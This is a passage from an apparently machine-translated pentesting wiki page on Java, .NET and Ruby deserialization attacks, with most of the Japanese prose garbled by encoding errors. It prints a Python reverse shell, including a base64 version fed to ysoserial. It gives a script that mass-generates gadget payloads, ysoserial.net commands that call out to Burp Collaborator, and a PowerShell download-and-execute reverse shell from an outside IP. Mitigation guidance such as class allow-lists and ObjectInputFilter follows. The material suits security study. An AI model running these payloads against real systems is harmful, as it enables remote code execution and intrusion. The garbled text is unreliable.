## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
When creating a payload for java.lang.Runtime.exec() you cannot use special characters like ">" or "|" to redirect the output of an execution, "$()" to execute commands or even pass arguments to a command separated by spaces (you can do echo -n "hello world"
but you can't do python2 -c 'print "Hello world"'
). In order to encode correctly the payload you could use this webpage.
次ã®ã¹ã¯ãªããã䜿çšããŠãWindowsãšLinuxã®ãã¹ãŠã®å¯èœãªã³ãŒãå®è¡ãã€ããŒããäœæããè匱ãªãŠã§ãããŒãžã§ãã¹ãããŠãã ãã:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
ããªã㯠use https://github.com/pwntester/SerialKillerBypassGadgetCollection ãšysoserialãçµã¿åãããŠãããå€ãã®ãšã¯ã¹ããã€ããäœæããããšãã§ããŸãããã®ããŒã«ã«é¢ãã詳现ã¯ãããŒã«ãçºè¡šãããããŒã¯ã®ã¹ã©ã€ãã«ãããŸã: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec ã¯ãJavaã®ç°ãªãJsonããã³Ymlã·ãªã¢ã«åã©ã€ãã©ãªããšã¯ã¹ããã€ãããããã®ãã€ããŒããçæããããã«äœ¿çšã§ããŸãã
ãããžã§ã¯ããã³ã³ãã€ã«ããããã«ãç§ã¯pom.xml
ã«ãã®dependenciesãaddããå¿
èŠããããŸãã:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Mavenãã€ã³ã¹ããŒã«ãããããžã§ã¯ããã³ã³ãã€ã«ããŸã:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
ãã®Java JSONã©ã€ãã©ãªã«ã€ããŠã®è©³çŽ°ã¯ããã¡ããåç §ããŠãã ãã: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Labs
- ããã€ãã®ysoserialãã€ããŒãããã¹ããããå Žåã¯ããã®ãŠã§ãã¢ããªãå®è¡ã§ããŸã: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Why
Javaã¯ãããŸããŸãªç®çã§å€ãã®ã·ãªã¢ã«åã䜿çšããŸã:
- HTTPãªã¯ãšã¹ã: ã·ãªã¢ã«åã¯ããã©ã¡ãŒã¿ãViewStateãã¯ãããŒãªã©ã®ç®¡çã«åºã䜿çšãããŠããŸãã
- RMI (ãªã¢ãŒãã¡ãœããåŒã³åºã): Java RMIãããã³ã«ã¯ãã·ãªã¢ã«åã«å®å šã«äŸåããŠãããJavaã¢ããªã±ãŒã·ã§ã³ã«ããããªã¢ãŒãéä¿¡ã®åºç€ã§ãã
- HTTPçµç±ã®RMI: ãã®æ¹æ³ã¯ãJavaããŒã¹ã®åãã¯ã©ã€ã¢ã³ããŠã§ãã¢ããªã±ãŒã·ã§ã³ã«ãã£ãŠäžè¬çã«äœ¿çšããããã¹ãŠã®ãªããžã§ã¯ãéä¿¡ã«ã·ãªã¢ã«åãå©çšããŸãã
- JMX (Java管çæ¡åŒµ): JMXã¯ããããã¯ãŒã¯äžã§ãªããžã§ã¯ããéä¿¡ããããã«ã·ãªã¢ã«åãå©çšããŸãã
- ã«ã¹ã¿ã ãããã³ã«: Javaã§ã¯ãæšæºçãªæ £è¡ãšããŠãçã®Javaãªããžã§ã¯ãã®éä¿¡ãå«ãŸããä»åŸã®ãšã¯ã¹ããã€ãäŸã§ç€ºãããŸãã
Prevention
Transient objects
Serializable
ãå®è£
ããã¯ã©ã¹ã¯ãã·ãªã¢ã«åãããã¹ãã§ãªãã¯ã©ã¹å
ã®ä»»æã®ãªããžã§ã¯ããtransient
ãšããŠå®è£
ã§ããŸããäŸãã°:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Serializableãå®è£ ããå¿ èŠãããã¯ã©ã¹ã®ã·ãªã¢ã«åãé¿ãã
ç¹å®ã®**ãªããžã§ã¯ããã¯ã©ã¹éå±€ã®ããã«Serializable
**ã€ã³ã¿ãŒãã§ãŒã¹ãå®è£
ããªããã°ãªããªãã·ããªãªã§ã¯ãæå³ããªããã·ãªã¢ã©ã€ãºã®ãªã¹ã¯ããããŸãããããé²ãããã«ã以äžã®ããã«åžžã«äŸå€ãã¹ããŒããfinal
ãªreadObject()
ã¡ãœãããå®çŸ©ããŠããããã®ãªããžã§ã¯ãããã·ãªã¢ã©ã€ãºäžå¯èœã§ããããšã確èªããŠãã ããã
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Javaã«ããããã·ãªã¢ã©ã€ãºã»ãã¥ãªãã£ã®åŒ·å
java.io.ObjectInputStream
ã®ã«ã¹ã¿ãã€ãºã¯ããã·ãªã¢ã©ã€ãºããã»ã¹ãä¿è·ããããã®å®çšçãªã¢ãããŒãã§ãããã®æ¹æ³ã¯ã次ã®å Žåã«é©ããŠããŸãã
- ãã·ãªã¢ã©ã€ãºã³ãŒããããªãã®ç®¡çäžã«ããã
- ãã·ãªã¢ã©ã€ãºã®ããã«æåŸ ãããã¯ã©ã¹ãç¥ãããŠããã
**resolveClass()
**ã¡ãœããããªãŒããŒã©ã€ãããŠãèš±å¯ãããã¯ã©ã¹ã®ã¿ã«ãã·ãªã¢ã©ã€ãºãå¶éããŸããããã«ãããæ瀺çã«èš±å¯ãããã¯ã©ã¹ä»¥å€ã®ãã·ãªã¢ã©ã€ãºãé²æ¢ãããŸãã以äžã®äŸã®ããã«ããã·ãªã¢ã©ã€ãºãBicycle
ã¯ã©ã¹ã®ã¿ã«å¶éããŸãïŒ
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
ã»ãã¥ãªãã£åŒ·åã®ããã®JavaãšãŒãžã§ã³ãã®äœ¿çšã¯ãã³ãŒãã®ä¿®æ£ãäžå¯èœãªå Žåã®ä»£æ¿ãœãªã¥ãŒã·ã§ã³ãæäŸããŸãããã®æ¹æ³ã¯äž»ã«æ害ãªã¯ã©ã¹ã®ãã©ãã¯ãªã¹ãåã«é©çšãããJVMãã©ã¡ãŒã¿ã䜿çšããŸãïŒ
-javaagent:name-of-agent.jar
åçã«ãã·ãªã¢ã©ã€ãºãä¿è·ããæ¹æ³ãæäŸããå³æã®ã³ãŒãå€æŽãå®çšçã§ãªãç°å¢ã«çæ³çã§ãã
rO0 by Contrast Securityã®äŸã確èªããŠãã ããã
ã·ãªã¢ã©ã€ãŒãŒã·ã§ã³ãã£ã«ã¿ãŒã®å®è£
: Java 9ã¯**ObjectInputFilter
**ã€ã³ã¿ãŒãã§ãŒã¹ãä»ããŠã·ãªã¢ã©ã€ãŒãŒã·ã§ã³ãã£ã«ã¿ãŒãå°å
¥ãããã·ãªã¢ã©ã€ãºãããåã«ã·ãªã¢ã©ã€ãºããããªããžã§ã¯ããæºããã¹ãåºæºãæå®ããããã®åŒ·åãªã¡ã«ããºã ãæäŸããŸãããããã®ãã£ã«ã¿ãŒã¯ãã°ããŒãã«ã«ãŸãã¯ã¹ããªãŒã ããšã«é©çšã§ãããã·ãªã¢ã©ã€ãºããã»ã¹ã«å¯Ÿãã詳现ãªå¶åŸ¡ãæäŸããŸãã
ã·ãªã¢ã©ã€ãŒãŒã·ã§ã³ãã£ã«ã¿ãŒãå©çšããã«ã¯ããã¹ãŠã®ãã·ãªã¢ã©ã€ãºæäœã«é©çšãããã°ããŒãã«ãã£ã«ã¿ãŒãèšå®ããããç¹å®ã®ã¹ããªãŒã ã®ããã«åçã«æ§æããããšãã§ããŸããäŸãã°:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
å€éšã©ã€ãã©ãªã掻çšããã»ãã¥ãªãã£ã®åŒ·å: NotSoSerialãjdeserializeãããã³Kryoãªã©ã®ã©ã€ãã©ãªã¯ãJavaã®ãã·ãªã¢ã©ã€ãºãå¶åŸ¡ããã³ç£èŠããããã®é«åºŠãªæ©èœãæäŸããŸãããããã®ã©ã€ãã©ãªã¯ããã·ãªã¢ã©ã€ãºåã«ã·ãªã¢ã©ã€ãºããããªããžã§ã¯ããåæããããã¯ã©ã¹ã®ãã¯ã€ããªã¹ãããã©ãã¯ãªã¹ããäœæããããã«ã¹ã¿ã ã·ãªã¢ã©ã€ãºæŠç¥ãå®è£ ããããããªã©ãè¿œå ã®ã»ãã¥ãªãã£å±€ãæäŸã§ããŸãã
- NotSoSerialã¯ãä¿¡é Œã§ããªãã³ãŒãã®å®è¡ãé²ãããã«ãã·ãªã¢ã©ã€ãºããã»ã¹ãååããŸãã
- jdeserializeã¯ããã·ãªã¢ã©ã€ãºããã«ã·ãªã¢ã©ã€ãºãããJavaãªããžã§ã¯ããåæã§ããæœåšçã«æªæã®ããã³ã³ãã³ããç¹å®ããã®ã«åœ¹ç«ã¡ãŸãã
- Kryoã¯ãã¹ããŒããšå¹çãéèŠãã代æ¿ã·ãªã¢ã©ã€ãŒãŒã·ã§ã³ãã¬ãŒã ã¯ãŒã¯ã§ãã»ãã¥ãªãã£ã匷åã§ããæ§æå¯èœãªã·ãªã¢ã©ã€ãŒãŒã·ã§ã³æŠç¥ãæäŸããŸãã
åèæç®
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- ãã·ãªã¢ã©ã€ãºãšysoserialã®ããŒã¯: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- gadgetinspectorã«ã€ããŠã®ããŒã¯: https://www.youtube.com/watch?v=wPbW6zQ52w8 ããã³ã¹ã©ã€ã: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsecè«æ: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Javaãš.Netã®JSONãã·ãªã¢ã©ã€ãº è«æ: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, ããŒã¯: https://www.youtube.com/watch?v=oUAeWhW5b8c ããã³ã¹ã©ã€ã: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- ãã·ãªã¢ã©ã€ãºã®CVE: https://paper.seebug.org/123/
JNDIã€ã³ãžã§ã¯ã·ã§ã³ & log4Shell
JNDIã€ã³ãžã§ã¯ã·ã§ã³ãšã¯äœããRMIãCORBAãLDAPãä»ããŠã©ã®ããã«æªçšããããlog4shellãã©ã®ããã«æªçšãããïŒããã³ãã®è匱æ§ã®äŸïŒã«ã€ããŠã¯ã以äžã®ããŒãžãåç §ããŠãã ããã
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}
JMS - Javaã¡ãã»ãŒãžãµãŒãã¹
Javaã¡ãã»ãŒãžãµãŒãã¹ïŒJMSïŒAPIã¯ã2ã€ä»¥äžã®ã¯ã©ã€ã¢ã³ãéã§ã¡ãã»ãŒãžãéä¿¡ããããã®Javaã¡ãã»ãŒãžæåããã«ãŠã§ã¢APIã§ããããã¯ããããã¥ãŒãµãŒâã³ã³ã·ã¥ãŒããŒåé¡ãåŠçããããã®å®è£ ã§ããJMSã¯Javaãã©ãããã©ãŒã ããšã³ã¿ãŒãã©ã€ãºãšãã£ã·ã§ã³ïŒJava EEïŒã®äžéšã§ãããSun Microsystemsã§éçºãããä»æ§ã«ãã£ãŠå®çŸ©ãããŸãããããã®åŸJavaã³ãã¥ããã£ããã»ã¹ã«ãã£ãŠæå°ãããŠããŸããããã¯ãJava EEã«åºã¥ãã¢ããªã±ãŒã·ã§ã³ã³ã³ããŒãã³ããã¡ãã»ãŒãžãäœæãéä¿¡ãåä¿¡ãããã³èªã¿åãããšãå¯èœã«ããã¡ãã»ãŒãžã³ã°æšæºã§ããããã¯ãåæ£ã¢ããªã±ãŒã·ã§ã³ã®ç°ãªãã³ã³ããŒãã³ãéã®éä¿¡ãç·©ãçµåããä¿¡é Œæ§ãé«ããéåæã«ããŸããïŒåºå ž: WikipediaïŒ
補å
ãã®ããã«ãŠã§ã¢ã䜿çšããŠã¡ãã»ãŒãžãéä¿¡ãã補åã¯ããã€ããããŸãã
æªçš
åºæ¬çã«ãå±éºãªæ¹æ³ã§JMSã䜿çšããŠãããµãŒãã¹ãå€æ°ååšããŸãããããã£ãŠããããã®ãµãŒãã¹ã«ã¡ãã»ãŒãžãéä¿¡ããããã®ååãªæš©éãããå ŽåïŒéåžžã¯æå¹ãªè³æ Œæ
å ±ãå¿
èŠïŒãæ¶è²»è
/ãµãã¹ã¯ã©ã€ããŒã«ãã£ãŠãã·ãªã¢ã©ã€ãºãããæªæã®ããã·ãªã¢ã©ã€ãºãªããžã§ã¯ããéä¿¡ã§ããå¯èœæ§ããããŸãã
ããã¯ããã®æªçšã«ãããŠããã®ã¡ãã»ãŒãžã䜿çšãããã¹ãŠã®ã¯ã©ã€ã¢ã³ããææããããšãæå³ããŸãã
ãµãŒãã¹ãè匱ã§ããå ŽåïŒãŠãŒã¶ãŒå ¥åãå®å šã§ãªãæ¹æ³ã§ãã·ãªã¢ã©ã€ãºããŠããããïŒãè匱æ§ãæªçšããããã®æå¹ãªã¬ãžã§ãããèŠã€ããå¿ èŠãããããšãå¿ããªãã§ãã ããã
ããŒã«JMETã¯ãæ¢ç¥ã®ã¬ãžã§ããã䜿çšããŠæªæã®ããã·ãªã¢ã©ã€ãºãªããžã§ã¯ããéä¿¡ããããšã§ããããã®ãµãŒãã¹ã«æ¥ç¶ããŠæ»æããããã«äœæãããŸããããããã®ãšã¯ã¹ããã€ãã¯ããµãŒãã¹ãäŸç¶ãšããŠè匱ã§ããã䜿çšãããã¬ãžã§ããã®ãããããè匱ãªã¢ããªã±ãŒã·ã§ã³å ã«ååšããå Žåã«æ©èœããŸãã
åèæç®
- JMETããŒã¯: https://www.youtube.com/watch?v=0h8DWiOWGGA
- ã¹ã©ã€ã: https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
.Net
.Netã®æèã«ãããŠããã·ãªã¢ã©ã€ãºã®æªçšã¯ãJavaã§èŠããããã®ãšåæ§ã®æ¹æ³ã§åäœããã¬ãžã§ããããªããžã§ã¯ãã®ãã·ãªã¢ã©ã€ãºäžã«ç¹å®ã®ã³ãŒããå®è¡ããããã«æªçšãããŸãã
ãã£ã³ã¬ãŒããªã³ãã£ã³ã°
ãã¯ã€ãããã¯ã¹
ãœãŒã¹ã³ãŒããæ€æ»ããŠã以äžã®åºçŸãæ¢ãã¹ãã§ãïŒ
TypeNameHandling
JavaScriptTypeResolver
ãŠãŒã¶ãŒå¶åŸ¡äžã®å€æ°ã«ãã£ãŠåã決å®ã§ããã·ãªã¢ã©ã€ã¶ãŒã«çŠç¹ãåœãŠãã¹ãã§ãã
ãã©ãã¯ããã¯ã¹
æ€çŽ¢ã¯ãBase64ãšã³ã³ãŒããããæååAAEAAAD/////ãŸãã¯ããµãŒããŒåŽã§ãã·ãªã¢ã©ã€ãºãããå¯èœæ§ã®ããé¡äŒŒã®ãã¿ãŒã³ã察象ãšãããã·ãªã¢ã©ã€ãºãããåãå¶åŸ¡ã§ããããã«ããŸããããã«ã¯ãTypeObject
ã$type
ãå«ããããã«éå®ãããªãJSONãŸãã¯XMLæ§é ãå«ãŸããå¯èœæ§ããããŸãã
ysoserial.net
ãã®å ŽåãããŒã«ysoserial.netã䜿çšããŠãã·ãªã¢ã©ã€ãºã®æªçšãäœæã§ããŸããgitãªããžããªãããŠã³ããŒãããããVisual Studioãªã©ã䜿çšããŠããŒã«ãã³ã³ãã€ã«ããå¿ èŠããããŸãã
ysoserial.netãã©ã®ããã«æªçšãäœæãããã«ã€ããŠåŠã³ããå Žåã¯ãObjectDataProviderã¬ãžã§ãã + ExpandedWrapper + Json.Netãã©ãŒããã¿ã«ã€ããŠèª¬æããŠãããã®ããŒãžã確èªããŠãã ããã
ysoserial.netã®äž»ãªãªãã·ã§ã³ã¯ã--gadget
ã--formatter
ã--output
ãããã³**--plugin
**ã§ãã
- **
--gadget
**ã¯ãæªçšããã¬ãžã§ããã瀺ãããã«äœ¿çšãããŸãïŒãã·ãªã¢ã©ã€ãºäžã«ã³ãã³ããå®è¡ããããã«æªçšãããã¯ã©ã¹/é¢æ°ã瀺ããŸãïŒã - **
--formatter
**ã¯ãæªçšãã·ãªã¢ã©ã€ãºããæ¹æ³ã瀺ãããã«äœ¿çšãããŸãïŒãã€ããŒãããã·ãªã¢ã©ã€ãºããããã«ããã¯ãšã³ãã䜿çšããŠããã©ã€ãã©ãªãç¥ããããã䜿çšããŠã·ãªã¢ã©ã€ãºããå¿ èŠããããŸãïŒã --output
ã¯ãæªçšãçãŸãã¯base64ãšã³ã³ãŒãã§ååŸããããã©ããã瀺ãããã«äœ¿çšãããŸãã泚æããŠãã ãããysoserial.netã¯ãã€ããŒããUTF-16LEïŒWindowsã§ããã©ã«ãã§äœ¿çšããããšã³ã³ãŒãã£ã³ã°ïŒã䜿çšããŠãšã³ã³ãŒããããããLinuxã³ã³ãœãŒã«ããçã®ãã€ããŒãããšã³ã³ãŒããããšãæªçšãæ£ããæ©èœããªããšã³ã³ãŒãã£ã³ã°ã®äºææ§ã®åé¡ãçºçããå¯èœæ§ããããŸãïŒHTB JSONããã¯ã¹ã§ã¯ãã€ããŒãã¯UTF-16LEãšASCIIã®äž¡æ¹ã§æ©èœããŸããããããã¯åžžã«æ©èœãããšã¯éããŸããïŒã--plugin
ysoserial.netã¯ãViewStateã®ãããªç¹å®ã®ãã¬ãŒã ã¯ãŒã¯çšã®æªçšãäœæããããã®ãã©ã°ã€ã³ããµããŒãããŠããŸãã
è¿œå ã®ysoserial.netãã©ã¡ãŒã¿
--minify
ã¯ãå°ããªãã€ããŒããæäŸããŸãïŒå¯èœãªå ŽåïŒã--raf -f Json.Net -c "anything"
ããã¯ãæäŸããããã©ãŒããã¿ïŒãã®å Žåã¯Json.Net
ïŒã§äœ¿çšã§ãããã¹ãŠã®ã¬ãžã§ããã瀺ããŸãã--sf xml
ã¯ãã¬ãžã§ããïŒ-g
ïŒã瀺ãããšãã§ããysoserial.netã¯ãxmlããå«ããã©ãŒããã¿ãæ€çŽ¢ããŸãïŒå€§æåãšå°æåãåºå¥ããªãïŒã
ysoserialã®äŸã䜿çšããŠæªçšãäœæããŸãïŒ
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net ã«ã¯ãåãšã¯ã¹ããã€ããã©ã®ããã«æ©èœããããããããç解ããã®ã«åœ¹ç«ã€ éåžžã«èå³æ·±ããã©ã¡ãŒã¿ ããããŸã: --test
ãã®ãã©ã¡ãŒã¿ãæå®ãããšã ysoserial.net 㯠ããŒã«ã«ã§ ãšã¯ã¹ããã€ããè©Šã¿ãŸã ã®ã§ããã€ããŒããæ£ããæ©èœãããã©ããããã¹ãã§ããŸãã
ãã®ãã©ã¡ãŒã¿ã¯äŸ¿å©ã§ãããªããªããã³ãŒããã¬ãã¥ãŒãããšã次ã®ãããªã³ãŒãã®æçãèŠã€ããããã§ã ( ObjectDataProviderGenerator.cs ãã):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
ããã¯ããšã¯ã¹ããã€ãããã¹ãããããã«ãã³ãŒãã serializersHelper.JsonNet_deserialize ãåŒã³åºãããšãæå³ããŸãã
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
In the åã®ã³ãŒãã¯äœæããããšã¯ã¹ããã€ãã«è匱ã§ãããããã£ãŠã.Netã¢ããªã±ãŒã·ã§ã³ã§åæ§ã®ãã®ãèŠã€ããå Žåããã®ã¢ããªã±ãŒã·ã§ã³ãè匱ã§ããå¯èœæ§ãé«ãã§ãã
ãããã£ãŠã--test
ãã©ã¡ãŒã¿ã¯ãã©ã®ã³ãŒãã®ãã£ã³ã¯ãysoserial.netã«ãã£ãŠäœæããããã·ãªã¢ã©ã€ãºãšã¯ã¹ããã€ãã«è匱ã§ããããç解ããã®ã«åœ¹ç«ã¡ãŸãã
ViewState
.Netã®__ViewStateãã©ã¡ãŒã¿ããšã¯ã¹ããã€ãããæ¹æ³ã«ã€ããŠã®ãã®POSTãèŠãŠãã ãã ä»»æã®ã³ãŒããå®è¡ããããã«ã ããããªãã被害è ã®ãã·ã³ã§äœ¿çšãããŠããç§å¯ããã§ã«ç¥ã£ãŠãããªããã³ãŒããå®è¡ããæ¹æ³ãç¥ãããã«ãã®æçš¿ãèªãã§ãã ããã**
Prevention
.Netã«ããããã·ãªã¢ã©ã€ãºã«é¢é£ãããªã¹ã¯ã軜æžããããã«ïŒ
- ããŒã¿ã¹ããªãŒã ã«ãªããžã§ã¯ãã¿ã€ããå®çŸ©ãããªãããã«ããŸãã å¯èœãªéã
DataContractSerializer
ãŸãã¯XmlSerializer
ãå©çšããŠãã ããã JSON.Net
ã®å ŽåãTypeNameHandling
ãNone
ã«èšå®ããŸãïŒ %%%TypeNameHandling = TypeNameHandling.None%%%JavaScriptSerializer
ãJavaScriptTypeResolver
ãšäžç·ã«äœ¿çšããªãã§ãã ããã- ãã·ãªã¢ã©ã€ãºå¯èœãªã¿ã€ããå¶éãã
System.IO.FileInfo
ã®ãããª.Netã¿ã€ãã«å åšãããªã¹ã¯ãç解ããŸããããã¯ãµãŒããŒãã¡ã€ã«ã®ããããã£ãå€æŽãããµãŒãã¹æåŠæ»æãåŒãèµ·ããå¯èœæ§ããããŸãã - ãªã¹ã¯ã®ããããããã£ãæã€ã¿ã€ãã«æ³šæããŠãã ããã äŸãã°ã
System.ComponentModel.DataAnnotations.ValidationException
ã®Value
ããããã£ã¯æªçšãããå¯èœæ§ããããŸãã - ã¿ã€ãã®ã€ã³ã¹ã¿ã³ã¹åãå®å
šã«å¶åŸ¡ããæ»æè
ããã·ãªã¢ã©ã€ãºããã»ã¹ã«åœ±é¿ãäžããªãããã«ããŸããããã«ããã
DataContractSerializer
ãXmlSerializer
ã§ããè匱ã«ãªããŸãã BinaryFormatter
ããã³JSON.Net
ã®ããã«ã«ã¹ã¿ãSerializationBinder
ã䜿çšããŠãã¯ã€ããªã¹ãå¶åŸ¡ãå®è£ ããŸãã- .Netå ã®æ¢ç¥ã®äžå®å šãªãã·ãªã¢ã©ã€ãºã¬ãžã§ããã«ã€ããŠæ å ±ãåŸãŠããã·ãªã¢ã©ã€ã¶ããã®ãããªã¿ã€ããã€ã³ã¹ã¿ã³ã¹åããªãããã«ããŸãã
- ã€ã³ã¿ãŒãããã¢ã¯ã»ã¹ã®ããã³ãŒãããæœåšçã«ãªã¹ã¯ã®ããã³ãŒããéé¢ãã
System.Windows.Data.ObjectDataProvider
ã®ãããªæ¢ç¥ã®ã¬ãžã§ãããä¿¡é Œã§ããªãããŒã¿ãœãŒã¹ã«ããããªãããã«ããŸãã
References
- Javaãš.Netã®JSONãã·ãªã¢ã©ã€ãºã«é¢ããè«æïŒ https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**ã**ããŒã¯ïŒ https://www.youtube.com/watch?v=oUAeWhW5b8c ããã³ã¹ã©ã€ãïŒ https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
Rubyã§ã¯ãã·ãªã¢ã«åã¯marshalã©ã€ãã©ãªå ã®2ã€ã®ã¡ãœããã«ãã£ãŠä¿é²ãããŸããæåã®ã¡ãœããã¯dumpãšããŠç¥ããããªããžã§ã¯ãããã€ãã¹ããªãŒã ã«å€æããããã«äœ¿çšãããŸãããã®ããã»ã¹ã¯ã·ãªã¢ã«åãšåŒã°ããŸããéã«ã2çªç®ã®ã¡ãœããloadã¯ããã€ãã¹ããªãŒã ããªããžã§ã¯ãã«æ»ãããã«äœ¿çšããããã®ããã»ã¹ã¯ãã·ãªã¢ã©ã€ãºãšåŒã°ããŸãã
ã·ãªã¢ã«åããããªããžã§ã¯ããä¿è·ããããã«ãRubyã¯HMACïŒããã·ã¥ããŒã¹ã®ã¡ãã»ãŒãžèªèšŒã³ãŒãïŒã䜿çšããããŒã¿ã®æŽåæ§ãšçæ£æ§ã確ä¿ããŸãã ãã®ç®çã®ããã«äœ¿çšãããããŒã¯ãããã€ãã®å¯èœãªå Žæã®ããããã«ä¿åãããŸãïŒ
config/environment.rb
config/initializers/secret_token.rb
config/secrets.yml
/proc/self/environ
Ruby 2.Xã®äžè¬çãªãã·ãªã¢ã©ã€ãºããRCEã¬ãžã§ãããã§ãŒã³ïŒè©³çŽ°ã¯ https://www.elttam.com/blog/ruby-deserialization/ïŒ:
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
